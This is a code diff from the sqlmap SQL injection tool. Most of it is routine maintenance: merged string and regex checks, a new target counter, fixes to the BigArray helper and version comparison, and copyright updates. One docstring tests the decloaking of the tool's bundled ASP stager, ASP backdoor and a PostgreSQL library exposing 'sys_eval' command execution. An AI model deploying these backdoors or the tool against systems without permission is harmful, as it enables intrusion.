return kb.pageStable
|
return kb.pageStable
|
||||||
|
|
||||||
def checkString():
|
|
||||||
if not conf.string:
|
|
||||||
return True
|
|
||||||
|
|
||||||
infoMsg = "testing if the provided string is within the "
|
|
||||||
infoMsg += "target URL page content"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
page, headers, _ = Request.queryPage(content=True)
|
|
||||||
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
|
||||||
|
|
||||||
if conf.string not in rawResponse:
|
|
||||||
warnMsg = "you provided '%s' as the string to " % conf.string
|
|
||||||
warnMsg += "match, but such a string is not within the target "
|
|
||||||
warnMsg += "URL raw response, sqlmap will carry on anyway"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
def checkRegexp():
|
|
||||||
if not conf.regexp:
|
|
||||||
return True
|
|
||||||
|
|
||||||
infoMsg = "testing if the provided regular expression matches within "
|
|
||||||
infoMsg += "the target URL page content"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
page, headers, _ = Request.queryPage(content=True)
|
|
||||||
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
|
||||||
|
|
||||||
if not re.search(conf.regexp, rawResponse, re.I | re.M):
|
|
||||||
warnMsg = "you provided '%s' as the regular expression " % conf.regexp
|
|
||||||
warnMsg += "which does not have any match within the target URL raw response. sqlmap "
|
|
||||||
warnMsg += "will carry on anyway"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
@stackedmethod
|
@stackedmethod
|
||||||
def checkWaf():
|
def checkWaf():
|
||||||
"""
|
"""
|
||||||
@@ -1542,7 +1504,31 @@ def checkConnection(suppressOutput=False):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
kb.originalPageTime = time.time()
|
kb.originalPageTime = time.time()
|
||||||
Request.queryPage(content=True, noteResponseTime=False)
|
page, headers, _ = Request.queryPage(content=True, noteResponseTime=False)
|
||||||
|
|
||||||
|
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
||||||
|
|
||||||
|
if conf.string:
|
||||||
|
infoMsg = "testing if the provided string is within the "
|
||||||
|
infoMsg += "target URL page content"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if conf.string not in rawResponse:
|
||||||
|
warnMsg = "you provided '%s' as the string to " % conf.string
|
||||||
|
warnMsg += "match, but such a string is not within the target "
|
||||||
|
warnMsg += "URL raw response, sqlmap will carry on anyway"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if conf.regexp:
|
||||||
|
infoMsg = "testing if the provided regular expression matches within "
|
||||||
|
infoMsg += "the target URL page content"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if not re.search(conf.regexp, rawResponse, re.I | re.M):
|
||||||
|
warnMsg = "you provided '%s' as the regular expression " % conf.regexp
|
||||||
|
warnMsg += "which does not have any match within the target URL raw response. sqlmap "
|
||||||
|
warnMsg += "will carry on anyway"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
kb.errorIsNone = False
|
kb.errorIsNone = False
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -16,10 +16,8 @@ from lib.controller.checks import checkConnection
|
|||||||
from lib.controller.checks import checkDynParam
|
from lib.controller.checks import checkDynParam
|
||||||
from lib.controller.checks import checkInternet
|
from lib.controller.checks import checkInternet
|
||||||
from lib.controller.checks import checkNullConnection
|
from lib.controller.checks import checkNullConnection
|
||||||
from lib.controller.checks import checkRegexp
|
|
||||||
from lib.controller.checks import checkSqlInjection
|
from lib.controller.checks import checkSqlInjection
|
||||||
from lib.controller.checks import checkStability
|
from lib.controller.checks import checkStability
|
||||||
from lib.controller.checks import checkString
|
|
||||||
from lib.controller.checks import checkWaf
|
from lib.controller.checks import checkWaf
|
||||||
from lib.controller.checks import heuristicCheckSqlInjection
|
from lib.controller.checks import heuristicCheckSqlInjection
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
@@ -295,10 +293,12 @@ def start():
|
|||||||
infoMsg = "found a total of %d targets" % len(kb.targets)
|
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
targetCount = 0
|
||||||
initialHeaders = list(conf.httpHeaders)
|
initialHeaders = list(conf.httpHeaders)
|
||||||
|
|
||||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||||
|
targetCount += 1
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if conf.checkInternet:
|
if conf.checkInternet:
|
||||||
infoMsg = "checking for Internet connection"
|
infoMsg = "checking for Internet connection"
|
||||||
@@ -375,12 +375,10 @@ def start():
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
hostCount += 1
|
|
||||||
|
|
||||||
if conf.forms and conf.method:
|
if conf.forms and conf.method:
|
||||||
message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
|
message = "[%d/%s] Form:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl)
|
||||||
else:
|
else:
|
||||||
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl)
|
message = "[%d/%s] URL:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl)
|
||||||
|
|
||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
message += "\nCookie: %s" % conf.cookie
|
message += "\nCookie: %s" % conf.cookie
|
||||||
@@ -434,7 +432,7 @@ def start():
|
|||||||
|
|
||||||
setupTargetEnv()
|
setupTargetEnv()
|
||||||
|
|
||||||
if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
|
if not checkConnection(suppressOutput=conf.forms):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if conf.rParam and kb.originalPage:
|
if conf.rParam and kb.originalPage:
|
||||||
@@ -738,7 +736,7 @@ def start():
|
|||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
_saveToResultsFile()
|
_saveToResultsFile()
|
||||||
|
|
||||||
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
|
errMsg += ", skipping to the next target"
|
||||||
logger.error(errMsg.lstrip(", "))
|
logger.error(errMsg.lstrip(", "))
|
||||||
else:
|
else:
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -22,7 +22,10 @@ from lib.core.exception import SqlmapSystemException
|
|||||||
from lib.core.settings import BIGARRAY_CHUNK_SIZE
|
from lib.core.settings import BIGARRAY_CHUNK_SIZE
|
||||||
from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
|
from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
|
||||||
|
|
||||||
|
try:
|
||||||
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
||||||
|
except TypeError:
|
||||||
|
DEFAULT_SIZE_OF = 16
|
||||||
|
|
||||||
def _size_of(instance):
|
def _size_of(instance):
|
||||||
"""
|
"""
|
||||||
@@ -56,6 +59,12 @@ class BigArray(list):
|
|||||||
>>> _[20] = 0
|
>>> _[20] = 0
|
||||||
>>> _[99999]
|
>>> _[99999]
|
||||||
99999
|
99999
|
||||||
|
>>> _ += [0]
|
||||||
|
>>> _[100000]
|
||||||
|
0
|
||||||
|
>>> _ = _ + [1]
|
||||||
|
>>> _[-1]
|
||||||
|
1
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, items=None):
|
def __init__(self, items=None):
|
||||||
@@ -69,6 +78,20 @@ class BigArray(list):
|
|||||||
for item in (items or []):
|
for item in (items or []):
|
||||||
self.append(item)
|
self.append(item)
|
||||||
|
|
||||||
|
def __add__(self, value):
|
||||||
|
retval = BigArray(self)
|
||||||
|
|
||||||
|
for _ in value:
|
||||||
|
retval.append(_)
|
||||||
|
|
||||||
|
return retval
|
||||||
|
|
||||||
|
def __iadd__(self, value):
|
||||||
|
for _ in value:
|
||||||
|
self.append(_)
|
||||||
|
|
||||||
|
return self
|
||||||
|
|
||||||
def append(self, value):
|
def append(self, value):
|
||||||
self.chunks[-1].append(value)
|
self.chunks[-1].append(value)
|
||||||
|
|
||||||
@@ -145,7 +168,7 @@ class BigArray(list):
|
|||||||
self.chunks, self.filenames = state
|
self.chunks, self.filenames = state
|
||||||
|
|
||||||
def __getitem__(self, y):
|
def __getitem__(self, y):
|
||||||
if y < 0:
|
while y < 0:
|
||||||
y += len(self)
|
y += len(self)
|
||||||
|
|
||||||
index = y // self.chunk_length
|
index = y // self.chunk_length
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -11,7 +11,6 @@ import binascii
|
|||||||
import codecs
|
import codecs
|
||||||
import contextlib
|
import contextlib
|
||||||
import copy
|
import copy
|
||||||
import distutils.version
|
|
||||||
import functools
|
import functools
|
||||||
import getpass
|
import getpass
|
||||||
import hashlib
|
import hashlib
|
||||||
@@ -47,6 +46,7 @@ from extra.beep.beep import beep
|
|||||||
from extra.cloak.cloak import decloak
|
from extra.cloak.cloak import decloak
|
||||||
from lib.core.bigarray import BigArray
|
from lib.core.bigarray import BigArray
|
||||||
from lib.core.compat import cmp
|
from lib.core.compat import cmp
|
||||||
|
from lib.core.compat import LooseVersion
|
||||||
from lib.core.compat import round
|
from lib.core.compat import round
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import base64pickle
|
from lib.core.convert import base64pickle
|
||||||
@@ -590,10 +590,13 @@ class Backend(object):
|
|||||||
retVal = False
|
retVal = False
|
||||||
|
|
||||||
if Backend.getVersion() is not None and version is not None:
|
if Backend.getVersion() is not None and version is not None:
|
||||||
|
_version = unArrayizeValue(Backend.getVersion())
|
||||||
|
_version = re.sub(r"[<>= ]", "", _version)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = distutils.version.LooseVersion(Backend.getVersion()) >= distutils.version.LooseVersion(version)
|
retVal = LooseVersion(_version) >= LooseVersion(version)
|
||||||
except:
|
except:
|
||||||
retVal = str(Backend.getVersion()) >= str(version)
|
retVal = str(_version) >= str(version)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -1016,7 +1019,7 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C
|
|||||||
|
|
||||||
if not kb.get("threadException"):
|
if not kb.get("threadException"):
|
||||||
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
||||||
multiThreadMode = isMultiThreadMode()
|
multiThreadMode = kb.get("multiThreadMode")
|
||||||
if multiThreadMode:
|
if multiThreadMode:
|
||||||
logging._acquireLock()
|
logging._acquireLock()
|
||||||
|
|
||||||
@@ -1025,10 +1028,12 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C
|
|||||||
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
|
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
|
||||||
else:
|
else:
|
||||||
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
|
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
|
||||||
|
|
||||||
sys.stdout.flush()
|
|
||||||
except IOError:
|
except IOError:
|
||||||
pass
|
pass
|
||||||
|
except UnicodeEncodeError:
|
||||||
|
sys.stdout.write(re.sub(r"[^ -~]", '?', clearColors(data)))
|
||||||
|
finally:
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
if multiThreadMode:
|
if multiThreadMode:
|
||||||
logging._releaseLock()
|
logging._releaseLock()
|
||||||
@@ -1428,6 +1433,19 @@ def cleanQuery(query):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def cleanReplaceUnicode(value):
|
||||||
|
"""
|
||||||
|
Cleans unicode for proper encode/decode
|
||||||
|
|
||||||
|
>>> cleanReplaceUnicode(['a', 'b'])
|
||||||
|
['a', 'b']
|
||||||
|
"""
|
||||||
|
|
||||||
|
def clean(value):
|
||||||
|
return value.encode(UNICODE_ENCODING, errors="replace").decode(UNICODE_ENCODING) if isinstance(value, six.text_type) else value
|
||||||
|
|
||||||
|
return applyFunctionRecursively(value, clean)
|
||||||
|
|
||||||
def setPaths(rootPath):
|
def setPaths(rootPath):
|
||||||
"""
|
"""
|
||||||
Sets absolute paths for project directories and files
|
Sets absolute paths for project directories and files
|
||||||
@@ -1521,6 +1539,12 @@ def parseTargetDirect():
|
|||||||
'testdb'
|
'testdb'
|
||||||
>>> conf.dbmsPass
|
>>> conf.dbmsPass
|
||||||
'testpass'
|
'testpass'
|
||||||
|
>>> conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test"
|
||||||
|
>>> parseTargetDirect()
|
||||||
|
>>> conf.dbmsPass
|
||||||
|
'P@ssw0rd'
|
||||||
|
>>> conf.hostname
|
||||||
|
'127.0.0.1'
|
||||||
>>> conf.direct = popValue()
|
>>> conf.direct = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -1531,14 +1555,14 @@ def parseTargetDirect():
|
|||||||
remote = False
|
remote = False
|
||||||
|
|
||||||
for dbms in SUPPORTED_DBMS:
|
for dbms in SUPPORTED_DBMS:
|
||||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]*)$" % dbms, conf.direct, re.I)
|
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, conf.direct, re.I)
|
||||||
|
|
||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
|
|
||||||
if details.group("credentials"):
|
if details.group("credentials"):
|
||||||
conf.dbmsUser = details.group("user")
|
conf.dbmsUser = details.group("user").strip("'\"")
|
||||||
conf.dbmsPass = details.group("pass")
|
conf.dbmsPass = details.group("pass").strip("'\"")
|
||||||
else:
|
else:
|
||||||
if conf.dbmsCred:
|
if conf.dbmsCred:
|
||||||
conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
|
conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
|
||||||
@@ -2266,22 +2290,6 @@ def isHexEncodedString(subject):
|
|||||||
|
|
||||||
return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None
|
return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None
|
||||||
|
|
||||||
def isMultiThreadMode():
|
|
||||||
"""
|
|
||||||
Checks if running in multi-thread(ing) mode
|
|
||||||
|
|
||||||
>>> isMultiThreadMode()
|
|
||||||
False
|
|
||||||
>>> _ = lambda: time.sleep(0.1)
|
|
||||||
>>> thread = threading.Thread(target=_)
|
|
||||||
>>> thread.daemon = True
|
|
||||||
>>> thread.start()
|
|
||||||
>>> isMultiThreadMode()
|
|
||||||
True
|
|
||||||
"""
|
|
||||||
|
|
||||||
return threading.activeCount() > 1
|
|
||||||
|
|
||||||
@cachedmethod
|
@cachedmethod
|
||||||
def getConsoleWidth(default=80):
|
def getConsoleWidth(default=80):
|
||||||
"""
|
"""
|
||||||
@@ -2707,7 +2715,14 @@ def popValue():
|
|||||||
'foobar'
|
'foobar'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return getCurrentThreadData().valueStack.pop()
|
retVal = None
|
||||||
|
|
||||||
|
try:
|
||||||
|
retVal = getCurrentThreadData().valueStack.pop()
|
||||||
|
except IndexError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
def wasLastResponseDBMSError():
|
def wasLastResponseDBMSError():
|
||||||
"""
|
"""
|
||||||
@@ -2904,7 +2919,7 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C
|
|||||||
if spaceplus:
|
if spaceplus:
|
||||||
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)
|
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)
|
||||||
|
|
||||||
result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
|
result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "")
|
||||||
|
|
||||||
result = getUnicode(result, encoding or UNICODE_ENCODING)
|
result = getUnicode(result, encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
@@ -3572,6 +3587,8 @@ def unArrayizeValue(value):
|
|||||||
|
|
||||||
>>> unArrayizeValue(['1'])
|
>>> unArrayizeValue(['1'])
|
||||||
'1'
|
'1'
|
||||||
|
>>> unArrayizeValue('1')
|
||||||
|
'1'
|
||||||
>>> unArrayizeValue(['1', '2'])
|
>>> unArrayizeValue(['1', '2'])
|
||||||
'1'
|
'1'
|
||||||
>>> unArrayizeValue([['a', 'b'], 'c'])
|
>>> unArrayizeValue([['a', 'b'], 'c'])
|
||||||
@@ -4141,10 +4158,11 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
|||||||
if not suppressWarning:
|
if not suppressWarning:
|
||||||
debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
|
debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
except MemoryError:
|
|
||||||
|
except (MemoryError, SystemError):
|
||||||
kb.reflectiveMechanism = False
|
kb.reflectiveMechanism = False
|
||||||
if not suppressWarning:
|
if not suppressWarning:
|
||||||
debugMsg = "turning off reflection removal mechanism (because of low memory issues)"
|
debugMsg = "turning off reflection removal mechanism"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
@@ -5026,18 +5044,14 @@ def decloakToTemp(filename):
|
|||||||
"""
|
"""
|
||||||
Decloaks content of a given file to a temporary file with similar name and extension
|
Decloaks content of a given file to a temporary file with similar name and extension
|
||||||
|
|
||||||
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_"))
|
NOTE: using in-memory decloak() in docTests because of the "problem" on Windows platform
|
||||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
|
||||||
|
>>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_")).startswith(b'<%')
|
||||||
True
|
True
|
||||||
>>> os.remove(_)
|
>>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")).startswith(b'<%')
|
||||||
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
|
|
||||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
|
||||||
True
|
True
|
||||||
>>> os.remove(_)
|
>>> b'sys_eval' in decloak(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
|
||||||
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
|
|
||||||
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
|
|
||||||
True
|
True
|
||||||
>>> os.remove(_)
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
content = decloak(filename)
|
content = decloak(filename)
|
||||||
@@ -5249,7 +5263,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
if "HTTP/" not in request:
|
if "HTTP/" not in request:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
|
if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
|
||||||
if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M):
|
if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -257,3 +257,8 @@ if sys.version_info >= (3, 0):
|
|||||||
else:
|
else:
|
||||||
xrange = xrange
|
xrange = xrange
|
||||||
buffer = buffer
|
buffer = buffer
|
||||||
|
|
||||||
|
try:
|
||||||
|
from pkg_resources import parse_version as LooseVersion
|
||||||
|
except ImportError:
|
||||||
|
from distutils.version import LooseVersion
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -370,10 +370,10 @@ OBSOLETE_OPTIONS = {
|
|||||||
"--check-payload": None,
|
"--check-payload": None,
|
||||||
"--check-waf": None,
|
"--check-waf": None,
|
||||||
"--pickled-options": "use '--api -c ...' instead",
|
"--pickled-options": "use '--api -c ...' instead",
|
||||||
|
"--identify-waf": "functionality being done automatically",
|
||||||
}
|
}
|
||||||
|
|
||||||
DEPRECATED_OPTIONS = {
|
DEPRECATED_OPTIONS = {
|
||||||
"--identify-waf": "functionality being done automatically",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
DUMP_DATA_PREPROCESS = {
|
DUMP_DATA_PREPROCESS = {
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -16,14 +16,16 @@ from lib.core.common import Backend
|
|||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import dataToDumpFile
|
from lib.core.common import dataToDumpFile
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import filterNone
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
from lib.core.common import isListLike
|
from lib.core.common import isListLike
|
||||||
from lib.core.common import isMultiThreadMode
|
from lib.core.common import isNoneValue
|
||||||
from lib.core.common import normalizeUnicode
|
from lib.core.common import normalizeUnicode
|
||||||
from lib.core.common import openFile
|
from lib.core.common import openFile
|
||||||
from lib.core.common import prioritySortColumns
|
from lib.core.common import prioritySortColumns
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import safeCSValue
|
from lib.core.common import safeCSValue
|
||||||
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import getBytes
|
from lib.core.convert import getBytes
|
||||||
@@ -77,7 +79,7 @@ class Dump(object):
|
|||||||
elif console:
|
elif console:
|
||||||
dataToStdout(text)
|
dataToStdout(text)
|
||||||
|
|
||||||
multiThreadMode = isMultiThreadMode()
|
multiThreadMode = kb.multiThreadMode
|
||||||
if multiThreadMode:
|
if multiThreadMode:
|
||||||
self._lock.acquire()
|
self._lock.acquire()
|
||||||
|
